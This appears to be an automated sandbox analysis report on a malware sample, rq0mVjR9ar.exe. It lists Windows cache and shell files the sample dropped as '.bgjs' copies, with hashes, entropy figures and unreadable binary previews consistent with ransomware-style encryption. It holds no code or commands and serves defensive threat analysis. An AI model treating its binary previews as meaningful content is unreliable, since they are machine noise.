SHA1:	1028393BF698AF36D6F62441BE2B0C794CE06219
SHA-256:	0A8EE0F92ABEFAA5CF4F0CF9A6D17E30491828DBFAE7CDA858AD4A1A7C33F60A
SHA-512:	0CC72CEB67596EA9DDD2510B2B3BA954773472F436387E42F9CDFE29959D7FB63490F3CCA03010FDA52D2EE017FA72407C0488A6C69C87C81A3EC9F6E50E63CC
Malicious:	false
Preview:	CMMM .f.......O.....d..H.d..+...ww...{\..gP.....8c..].I.W.a..^..}i....F.'..2`.........K../?.(....tN.^9-.\0).1...k.u..@b..<8...$)x....=].#i)&..0..Y..t.....^...&.\.Ii.....q../0.)B)..!vOwoc..5`..`.\vX.Wh..J.[.ns......6"..1.......u..Ra..&.M........L.eJs..I.w7.w......x.D..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.289894315280207
Encrypted:	false
SSDEEP:	6:DBU6RDev/noeLAIwvi9HN8YLpYo8S3hyFurbNFbPjjaijGxssZacii96Z:DBhRDioe06iS3iuthFixpZacii9a
MD5:	914F05FAD4660795F6F955B8EDEFBCA4
SHA1:	FDC63F0EE8F7033AE2B85F13A303BC74FEFF8DAD
SHA-256:	718B1FC1916F00675713C88B46C6CBCD0AA4D35388862E1BCDA19640091ACE94
SHA-512:	F4A7A32DAB575AA2709FA5D08292DCAD10DF9447ED25CA9CCC35FC077855A830F75EB33C68EF37D745AE2CA3AE5B7AAAFE8C310A2A608F1408B51787BF180D13
Malicious:	false
Preview:	CMMM AR.<:..GF.@*..E.J..U..g>.....=...]G.c.pxyW.......u.....#..$.S^...B....-.M(....I.nj"".F...-P....J......0....c.d. T..POW....YNx.m....,..R..1xf.".e(...J.[.u.Y.M../../...\.x.;...r.W.....6...2LWtc0.\.........o....D./=.....9./......_............<..f.1....w.~....G.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303240614410005
Encrypted:	false
SSDEEP:	6:IxMWmt2ccYIK5bPwcXYwYJgGtuSlRyVtC0gRD7hIqGWEsdtQpijGxssZacii96Z:IaWmctYIIbP2wYJz0FYGWEs/ixpZaciD
MD5:	75110FB755B3BD5C81BA601482E7DBB2
SHA1:	3EB79CBB79805BAF6A5AC2C68F694430FB8E10D2
SHA-256:	3FC2A338CAA4C00C61790AF001F9753614CC6CDFED278F79E62FAA16A68D1D24
SHA-512:	5A965A86B1EADE58CF331373BBB2D45659C3CB604B837FD0792A9940F67B7530673C3DE165280F9E12FE0B55107E54671B9A51319FBE45B5D111563C1604D1EA
Malicious:	false
Preview:	CMMM ...N...%/Y..X._.....d....Nu...z`...9..+N%.4.k..$.....6......t..n....&.\|T?.oB....y..g....\|.^.&.^..p..Y....0.Qe..........V.....8..E....8..xJ;..&Q...u.........i..qLh.3.-....i.Y.}]s I.0..JG..M......2..q`O.9DJ6.>..Z.......(.W{.@7q.@8.l.L.b.4......a....k.k.2r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296005724840778
Encrypted:	false
SSDEEP:	6:0F2qzzOZxit3v3v6pu0kIch8kiSVIlEPTtfYultJZjGxssZacii96Z:SZ3kxE3vv6pu+cqqfTlt/ixpZacii9a
MD5:	D733CD0263A55121FB7C395BDE148C6F
SHA1:	3C43D55E73B8AF7CEB0ABA8972BACD13A4DE9EA5
SHA-256:	8CC8DF88DBE92171B65EBA2D60CBACBD8AD082E3DD009C919A58BDE8BC355034
SHA-512:	1246FF32B103E467450915121A0C89062AC5BE7CF861B92948641CEE06164B4F82C692C57C00F7D79973286E438B4AFCEFB6070FD7F7B276C4FB0AB0F8D7207A
Malicious:	false
Preview:	CMMM ...n$.S..I...\|......!.(.Z....8...E.l.%........K.<.$...ed.c...3........9..B.,bOg{.......x%..G(..!..GR..0`Q...i./..G......}..OL..:...D4....XC)...."A"..6M..1(#.+.aZ.r..?.5..Li..c...M&.F....M.._Yf..D..d.+..^d..cM..0;6H.b.8...a.~..w.met...3.w.....F..z.Yt...G...rKmg...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.26186377364937
Encrypted:	false
SSDEEP:	6:ZRYCH1M7/BhSABf6Mx8P9rgdCYdSE1xK4OjGxssZacii96Z:ZWCS7pQqyc8lqCAb1xK4OixpZacii9a
MD5:	3AE83CAA03A4D699B07B1E0DF591CFBD
SHA1:	859AFBC1727AFD6E4516E322743CEDBB7FBD7C24
SHA-256:	2E2BC21F4CC13A1F1566D1A403B47A8707BACBC7C2979CF921394A037CBC2FD9
SHA-512:	E19C20CA80E50B66A5BCA2F4017D369A4430F2623B93BD1ADBEF73711AA0EDDC37DCE03319B113FAA2155593107481E7816B2057D7C55F9F844F792DBFA79025
Malicious:	false
Preview:	CMMM Zk.....G?.........]wWb...p.h......fqO..&-..........P.ULu.)YGg.t. d.b...e..s..m.8..h_r...b.n..>....W.[8=....3c.$UwK.9.>...rO..r ~7ru:d~9...vM52.m.......fQw.Z.Dt...7f.*E....H.".v.G..i;L.....h....9...O?...O.&Y..4q..S.ux.e...+....w....n..>u.......X........!.~..].}Ur6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_16.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7685757859114963
Encrypted:	false
SSDEEP:	3072:kqYsDdDKgnRRXdvDLlnBEuvvO4XYmrkHXIDlq1ZZXM64CDe0bkaa:fxfFDLDFvG4XmHXrBzjeukj
MD5:	C58648F636CCF385EC4342B9728DB4F0
SHA1:	CD70F7D99F28B974212E1D14D4D4BB92B78095D3
SHA-256:	A9FFEF0E861BF45098A547088A99F72DB7B415255F48BFDF56D3276EC89DFF22
SHA-512:	28366FD7EF50A69015E29327C7D1374768D449608B11A558F84E4E353B1CC88DD7E77851F3E3F4226BC4022419588212A22DB16CEC87337D208F1CC8F4D1EECB
Malicious:	false
Preview:	CMMM ...T2..@...v.mp....l.XM...6.k7..D.XA.....g.3..r.R..n.a.N.$..->..W(..z......_w...)h.HzfB.t..9.h{......{`.u. ..&N.E.T=....3.;.SG).!...\#2M...z.TT..F._.xUb.$.<...-.....&...R...[.dv.C.(..y.....q.7.k.m'...T.j\|..'%..\].MSw...y..0..j.... ....J.v.EZ..P......+. ....^.&......^qKI."N.....j...DZR.^n}.3.5......%.......#.I...8...&.i.U<.....C..eK..19....(X.N...y..D[(3.Rf....;sm8..9../.).....t.S:...[..@....,...X.t.!.n....[....%.AR..:.v.....3tD..f...:c.....Ge. J.0.$Cm.-...Ob....0...L. ..8.1'7.hH.U....$...Qlb...cF.(U.4d.O....h..8...c....n...H.#.)...y.[5^.*.....@ks...g.d..GX.O...W.."u..S.KGe...,?.o.(]\|yHMzoM.t...u=..3\....t-.RPr..@..4f...Qk..).^.s.9...[.-..v...... .g..}....1c[!...c..0'uo1.....e.\.....".".+..<.']........C..Od.:X.l....\.j..._.M...x.9$..#.d..qZ..V.6$$v<.p..r......k...: ..~.9......1.G.f.99.......V..9..'.0sm...Q....xX(.b0...........:.S..p3.?H.a...rG..\|....w4..e.....`N^...........id...8.:....z........./-.?.".2B.........(.g$..`.{.V.S.c?{...AG7..3.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.227702520569339
Encrypted:	false
SSDEEP:	6:I9KPIr87gX9W6ajxV1L9SzEXQ7WO3jqYOI9CYBh+JnYl8zZzo42hFU9kpCI2sscm:IogFW6ajxP5SQXQ7WOnLCYuJw8zZzsuJ
MD5:	B74321233B7BDE31C35F6B680E6F7E8C
SHA1:	67773D2CCC8B09D52C2DE64661EB37FB2FD268D4
SHA-256:	DA70AFCB4314AC5740AAA4478A49741BC909BBBFD275FBD84DF5B6B5B5B75F76
SHA-512:	6A2F8DC74A9697671FEC9D46D7BC4CA02CA8BCEB9C87624B7876B0C14EFF3F42C19A07C9089F5028CC469ADA6F8CAF9D1001CC8527D4472191A780CBC10CD75C
Malicious:	false
Preview:	CMMM R.....Xo'C.d..+.4\|.p39.....?..L.F.....u.+...m.p)....\..z........7....9..M.?.].............R...Z..9.Ar-...C1 i...=_.a..s......{.X.$.[...b.4\0..#..@q.Y....k...$bg........J..WL.....\|in..<.d..~..SDl....AJG..........;."}."...+.....II...>.-H.b....B....".r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.207347893536369
Encrypted:	false
SSDEEP:	6:XhCPlzjVCKUBPyFyA5gOmShpJIc4/NHUraIFG8+U9GlkijGxssZacii96Z:xalz0pNy3gYEceHuHG0viixpZacii9a
MD5:	4EF6837C2F22F59333F98B64006FCD5A
SHA1:	849518D31A224EBED360502EC0C849710E61534F
SHA-256:	0821F1B8B68B9B3806C29735D124751C26AE858F41F3AB175DC10930096BBE86
SHA-512:	66BFA32F862A517D9C0B843237C27EBCA3A8BE7AECCD31A52C75DAE89FB295A1BAA784BC85B5F6B94E824348BE33B05EE74CFAFF97509EE199884E18E803A88E
Malicious:	false
Preview:	CMMM ..k.~....x.....m.TH...l..X.ih..C.1...o....p]R.o......)..,.4F.....<..{.'Q....pzlS...........3.......6...3..`-.u.4..(K.c.RK]^...%t....u.7....f.......<...b.L.Y7-/p.{lY..R..A......b.......z..ji.......'.z.#T.IKl.`~......E....w0.q\3.9f.R..pg<.g..> ....mv.jB..."...6n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768732539460023
Encrypted:	false
SSDEEP:	3072:sINxWODaLUxQTmVqAytSD4zGmp3FBf1lfZyXXggGIp40eE/fzF:lxWODaLUxQTmOSVMZyXeAhfzF
MD5:	FE17772DE6F36348F131176C3B50AC68
SHA1:	510D7A00F32B02C823C1B12A02F40DABF0FE26D3
SHA-256:	C8AFE83B00C7F469F899F6871B391EFC7FC7C48C8A4F4E39A3F621C40815FB8D
SHA-512:	0654F6CB33860E7CD80D060865F6C9921B6BBCAE10CACCFFE6EFFEBEFCA8CCA4240DE66B7C034D21669098D917F8EC35B3E67340293774A907905227C699315C
Malicious:	false
Preview:	CMMM ....7...b.3s...s$.j'..(......o7.......~..q...c..4Q.1_....J!+.UFy )PUW.3%.;.1..6I~YJ.ZD ...!.]L$.:....}.Z...F...!..;....BN...........x;.VLB......Z.Q+.#.....4.l..SMi.].....q..g..iW.M..O.4...@.zr.f..z.....N~T. .8.lk..:E;.. ...`..G..On).O.DK.U..@....f..f..h8.....%.$.+M.Y...:......H.:..r.....\.....E...R)!..G."..5.G..."s..........7..'...F....HI.P....E+x..C..z.@.F-D.... .A......O..v[qU..o...U...p.L'jW{D...7.H.~K?.S. 9.."R.o.-.....x..,......`.....{.........9;..Vf.;.r.w....s....,...Q.0..B.N.O.e.y...#...(A..w.^......zc...K....m.r....y&b9K..[.._>.......$.....}....;${...Pe.=....\|..D.x...:..p.\k.....l...n.0.t.a._2........3.g.t..\|@A.L...d..P..J.f......}......../.gH...<.y..!..,......,.Vl.U.,\|&..Q..g....m....A....H......1e8....0.?5_D.37e. .WW......$X.>`.8r...q[.Mnsr..[.?..K...n.o"........4VxT[{..O....?.~...k...\|..x.M..W.-....^Wz(.g3.{......8[.......(Sg.1.Dh.o.....6...q..Qm.....gPf.......w...o;.3hS....T...bi.8..D......jg..Dt&d.!.`...n.......

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.236065323750525
Encrypted:	false
SSDEEP:	6:JAV+ryjrq5Q4k1cQzwGkZA3MULuxzSzYH6zfraN586fN01UpmbaieqijGxssZacq:JXyrv4k1/rekMULeSz1raNu0CUpbaiiq
MD5:	D02B4632E5001E080F86F801466D2A43
SHA1:	B61FA0218DB4E8328F1FDEC9725AA92FE7FA4318
SHA-256:	E4F744CA9529AF588A757FB5D1BF0846A4E8C01553CBB35266C8D00DE087DE7E
SHA-512:	476D334AD2953023FC9ED1B421C1F5B873F5110D982FD8E9A5E2570202B29FB3AD13B3DFF940A0FA7535757D26C83D6331E70CC950A100553770839B3F6CEC7A
Malicious:	false
Preview:	CMMM .0...:].l....SW.Y)....N*.d.V.,. .D..p....76:../....e.......m\|K554..}..#;...P.Y.....8PV..MF.C]<zAf..K.L....M...x)....=....ls3....wS..G.0.!..}.a?70..@h8E,..=..._..z..t.l...B...=.....D.:.. .z....;+Q...8`h0..#Y.X&....K..Y.E.E`..6A.K....B._..R..U...5.....4.>...T.R{.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.415108442130931
Encrypted:	false
SSDEEP:	24576:TEqplVndNVw2I8wHXEH9KPaAPbpr/5T14ImqrYEB2xsBCnEIx6nE:1pfndNVegH9KyAPVr//+qrYEB2xsgnh
MD5:	109CC0F97F000F2D58E78AF319B653F6
SHA1:	FCF5460FEE943F4BFC1815E74CB4B46B6109DD0E
SHA-256:	FAE793B2D8DA77ED29C7469124EB90298244961568B429D4336D8012C890AF92
SHA-512:	49601B2EEE2B54F791A370B8640F851A9EF8729A5BCFB49C5662280525BED2B102623693030A1D887E37D175769BCCF19D57D798A11255031064206B1960A5EE
Malicious:	false
Preview:	CMMM .L.&IS6WP`.R@\.C...mW+.$....G.@.>/0......!+.`&...3.>.4.....=.......... 9d..t..g.1m.u.Bo..-`...=.....hH..r.......v...{..'...).'..@.I.V.{..p.!rJ!(.#......-.<...bh.}....[G.G.I.p.n../k...........C..Ti..0.QT.....S.l....:.\|...\|...E.46.Uq...B.......P..O% V..T.g:RU-.YQ........g..3...!H.I.L1.Z..zF@.eW....}....8.R.^...p.XG...i...tI_.,..:eZ.,.x...).4M:....9B..cC.....J.bK.#..._...E.:G...g{....G.(...K.e..;!H....#.j....^...W...Xs.@....;..RP^.S6AB..&....j...v...6....e....$@.G.....ZX.H..5.l...\..=.......y..9h(..&..........4ai.KVd.....WA.6V[rEQe;......@F..kU%x.N...+...I..x..dV...uO...c5...B..EwJ..X..s'z.`jP.9.....)........].=.......ZD..D.6n.J0.5..FY.1.#.p^...`$.q....V....T....Y.F.....$.b....F.ez..W....v..0....Y.....r......... ....'..!?w.pD..7.Y.0/..n...(..FV.f..[/.X.y...O........+<......2.v<..(.Up.Sk.6k........_-.xz.....Uo...S..?p....ku.?Lk>..b<.@!n......;.W?..MQE......z.P1.V.d..lP.e..&.N.C..R.......I.}.{]!.g.[JM..>&{..)<6.~{..^....fR.X.n?..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.280082809785833
Encrypted:	false
SSDEEP:	6:WQlmVcuoS0b+lQn3HHXbk/oMQIu/R13Tn8FluMQ76kylzgWZbpBtLKjGxssZaciD:1mVcS0brn3HHLnVI6/3+oMQ+kylkCBA1
MD5:	2F03229AB96919852C6CC7B2201C2AF4
SHA1:	764FA56CC735E1BA19C6791D4D413FC72C334158
SHA-256:	2202FA1E03BF14D625E41DA2284C8AD322763437EAA25CD126E44E1A2E189A73
SHA-512:	C2BC610046FE66BC39DC9DDC9D8F03EE897455ACA6A8DABE5F66687458A7191E7E0A3FB30AB49518587F3C4ED5944EF427BA7E7148DBF1E0A5D2114B47FBDC65
Malicious:	false
Preview:	CMMM I.%.....p.xI'...~....f1^#.i.-\|K..7}.......-.D........l.~Y\.......{.hG......fl.0..Kx.,M....FNb..H....624....?....g1.iL.;b.kq..7.T.y..MC.\uj....p.9..40O.m2../M........u<.UsgN.l..]..........s[.B.....i.k.2.P$.....R..Z.3..^.&...v....f.LV.<>[....r..e...5f.gY..E[r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.297049384984567
Encrypted:	false
SSDEEP:	6:B7czmmnyIThuKEtyLYNi2hxaQRd6wP/dXUX9Fxrcdgo+ZjGxssZacii96Z:BINDhFEYLCi2aQztVXUDxwyokixpZacq
MD5:	C6C9C6C6A0428BA3B25E22CCB7D4D839
SHA1:	697B95035E32034C2FDD02018FF529B907B08217
SHA-256:	D9B301B52E6592D83DFE893E7737B303307AADF34B0E2725684F3FAB59A0CE1B
SHA-512:	521A99D48335E4209B3DC489E4C451EE652C1E753AE8A7D16CEDEB0CEB642BA349847AC15DAF361A19E1B572817D8A83851039BB35BB9EA85064E196A48D9773
Malicious:	false
Preview:	CMMM .......m.&.B...CZ..\|n....'....B/..I....s...?...<;?l...>.......~rM.6'u...g..b.P;'....v..NUCp....3..(./...=...4.<...O.I.z....@.>....Qc..g..3...xs..".......Ox.oW..&u.e...V!(..P8D...%"L.r'..~...:..lMRS7.:.pYad2.w.?\|..Y..mP.M..M_7..b...... .....6\|0...4 &Qa....0$..A.t.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2368569966559795
Encrypted:	false
SSDEEP:	6:EGyihs/b+bHsbT60DETQXGc+ZwfKBxL+nAwIoWjhmuZEdqdlpGe4VB+MI/jGxssW:Psbu0DEkTqU1IfNmZqdl8zdGixpZaciD
MD5:	FC79B04A5FD7DCCBFF5B4BA02DABC11A
SHA1:	8B9176D9FE02B8392F4F3D175911741558453135
SHA-256:	D4C670062C70A8D43C4D6FD62648971C381394DBEC94DB105BCCDAC8FD6CC9C8
SHA-512:	83C0317215B79C11E89D1621C7AC949BC98287268A595BC021DA8250D5C6E2C0E45A7FDA8E5BBE607A4D71B553EACA55DBA75E361EC3CDFD01F6375CAA328E38
Malicious:	false
Preview:	CMMM q.PU.W.TAB3.+......Z...(.. .^g#...A~1.........L5../Qfmzqu_.....fv0.R.^..OR-...,.....c...#......[\|..Uu..d9.K.M.3..;.I...R.M...v3.u.44+.$B...v#.w._u.-.V....1....^F~.g.l...7~..x.l.(..%....S7{...B..eI.;..."..t._...]...FJ.[..\|%l.D.`.Fq.,...5%.FF.....N..,..W.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256374762207581
Encrypted:	false
SSDEEP:	6:IXNVSc2+ci4zJHqioH7S/qmeuiC7eUMhXM/KFWFjGxssZacii96Z:qNV1cick7S/deuiW8XM/KFWFixpZaciD
MD5:	191BE1E12EAA393A7C1F5BE3262CBBD9
SHA1:	6574F8CF11B9BD6C7690D8DA71D5BE5F4BC96832
SHA-256:	96FDA7EA07F626A8D631896A0DE5DA0329B3278A1F3AF3F34B6FB7DCFAE0BB36
SHA-512:	361BB4B1694C7CBD6E90C4E9E1C2764407254B0AE9D196389C7F3F8622425BC5D186581AD94F6B79884203BF0B413CE357F4484E3F8AD43D10CACF66841486E4
Malicious:	false
Preview:	CMMM 1..:.^f.f.Y!..c..L,..2.X...n>.D.^.M.F...7.V.tr.b.....o.L..(:hR>.....).k.F.....fRr..2.m>>.vz.ot..TL..Ws}...4}d.v.u.....H.p>.F.Zz7..>=m...#A....TN.....J.d....}......]x..m..;...Hw;......E.xo......:....Q...oP...I.!c....[.}X...m.+k..S.......P..~H..S.<i7].%,D.t.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294156752471558
Encrypted:	false
SSDEEP:	6:J+C+7oNRCLa/xW3zIy34U8zxQvKH1QZOWR+qtX63BW/S3JpS3isd/jGxssZaciik:bIZU0SH1PWBa3JMi8/ixpZacii9a
MD5:	F26E5FA15CF2697EFDF8BAF4CC8C3574
SHA1:	8305E7D35F525EEFF3172F5EA95AEA329AFE8A83
SHA-256:	1CD9F5892A58FE1DECC2CD318F4FD7B6ED3509C654E3D4EC154189A47FC36FC8
SHA-512:	0584AE537B4B212BF733E6FA4EC451D10C7BF34A5FD691370023774C7FFBEAFFC96D356F722CE1DC47FB7F4B6FBA5641E7447C0A7070AAAF7F9EC9DAC5F271EE
Malicious:	false
Preview:	CMMM T....+.&.[T?..'.M..A..=B.y!.........c..b..6..e..Q...Y".36T..I.4q/.V...L..V.....=r.\|...fV......).c..y.5W...O..UD..Bx..Y.:...u......F...,].z...X.q\.]...s..+.~..(5.4f..^r.......Q...{....I{.J..[.}.yQ.............E.7.!on8...d.M....Z7M....>5........S..I..x....7C`...R.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997079740425387
Encrypted:	true
SSDEEP:	1536:3REPGnbAyobzEYrK3ZOpZJmp8PWLF+HGBEwWM78hjQ:3mPGUyezhkAGBLoM7qQ
MD5:	44C5A7BA57B5221EE0D7174172AB5E57
SHA1:	463713C6701FA107757F692880281BE7B7DC7BD1
SHA-256:	BA638D803078914CCDC3419B6CCD38E7E4574B7346A9AC1355313584B8CB0B14
SHA-512:	DF4DDDF9D660402B0E04D5F53780F16D7D588A4B67F54ED9B3F5B1E83ED5736918E664657261E86C52912702A90AF1977677852BC2A18DA7E8AD55D771E3F7BA
Malicious:	true
Preview:	<?xml.......5%..wY....O........A(.i............<A.R..ee.X....h.u..)l.....Z.e.d..}..0.M....F......o.".m...D.2;.0...D.~f.....i.#.v.`_S.....u.SEr..s....m..LdS...V.P.Q.p. .....a.....!.^h...]..H.c.=......L.4r.,RpM..^.}..1...c.+......CT.M%...3.u..AzP?.rt.Od.$\|...A ..7.rd.".#o.D.d.`..[..n..#.w..6.....n(M..Cd..}-...7.Lj.....[..~.i...-...F{...e.-K.y>s.81$e.q=.M ._.. ...,..v1_......04..r..:..wH\Ku..@........%mx.8T..j.i.....Sz.,..........2.J.S.Z.......E..<Ij.bo....a[.2.df...t.s.}.;.Z..~k....8...].uY..-......2_\.[.O.........G.w..h.dKJ.=..8.<..]L.3...4..........(..&..s.....b{...V..yst.>0zr.r#..[......>S.........x...,.....9.)..4............9....xL.b.C.5Z........g.<#..3g...3..v.C...`.oM..>...........?.l[.4..;5.......i)R...z.n..L.`...a.W...PX.g.%.Lfu.yH.N...D.z,.V.......io.y.Tn;..Ud.A8..1..K.. .i._..h..n~......+H.U......E..-9....LD...}...g6...Q..<b..U...>7.....H.....y..`.tZ.I..>g.1...S1...(...O.m%.......d.C.bj.Fz...J.d.*....S8N.a..~..O.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97791470738586
Encrypted:	false
SSDEEP:	192:4iAYTUUHgbEH4FDUn6DKQfXc+2EsGD4r9OJDtNiAmRWI16NMiq8:PrzgUngKQfXGVr9OJBmRWPV7
MD5:	160795233C3FDBFBC2F426989CA9FB17
SHA1:	4C81E0D81D9223A7FA80720A75F00660BF8916F2
SHA-256:	C86233000F17D2F6AC292B2724A3BBE879992B6D827C81F12E8DB01607D4B196
SHA-512:	8C1D4875C47633B53338D693BBA8CB2DA5400B26CD81C2CBC347012FC22BA6E1297576F85275105287CC8D47482876507683574005E4B4982972CC212DB129EA
Malicious:	false
Preview:	W.....+.MI..{0.....V.Y....\..x....Xn....o..<5H..%s.S..b....$t%.<F..$W..?.......m..c...U$.. ..........8..............P.J..4.......;iQ.5...1..$.b\..xi.....(.q..\v..W?V.V.).d.>.'.N.....d.O>`....,gYr.s...K.........A....Ip8....d.....i..O./.t..v.[..I.!_o.0.}......@Mz..v#..@...G.u......6V.<M'.TX.Sq..7x."ERw.2u.......0..v.E.j..{_.....v..MJ.@@k>Z.w......EX.c...B.1.. ..XC....O...6....E.b.8..<....d\|l...8Z.....=......Y..h{.G....\s.M....x2d...-9%......O.]6y6...h ...RJfP.=}N5.J..@...a?]Ng...y.......2..NQ..p.....T..K...H..R.Pog.Y..JN2.}..c.F.B.4.....=.vh..c.-z.....YW.v..3.. ....0...b.....t.;..M1........aV..a.u..Cjg~....k.b.$.t...j1...p...j...;....F..i...,...n.=..8.2Tq.]P....q....s.M.................d$..-?.....\.M).({...M.n......c...NxY...n.C..8.....+....?!.....{h..IY..Vm.)Q....(.k.3........l.3.s....w..'lS......U..e..0.%..t9..R.c.:g.&....].+C..... &.9y...uehVl...qQ,......tR...lDS.B.IFLG..%N..xpz.iiX\VnF..{!....W.....\|.D....N..Js8\<+..({./O.@.V?=.....".

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V0100005.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.787640393514748
Encrypted:	false
SSDEEP:	6144:3HmyiNDjjcssb2rpWLm7sGane5tXbltsR/IJ1S7EAe3sw1Xq6EPdqXfiWWfWG09:3HyjUbsOm7MNIB38qKhc
MD5:	D9CA20E88AC9704A9FD5D55C2D6849AC
SHA1:	63E89E2F8AA6602CFD3AC1D074D0ABE7ECAE1BEB
SHA-256:	A05E11BB4AB92F8E85B8BFC64781BC4564DA17E2CA8AF3B6834E7D561470C8F3
SHA-512:	656C22859E8C8FEE86451C9C6C492540C1E361799426AF4A73282FE0AD1C142DD77C4E3949FBA0EB6BBF9BA52395AED05FE0884CBFB3CAB074A095679BC91527
Malicious:	false
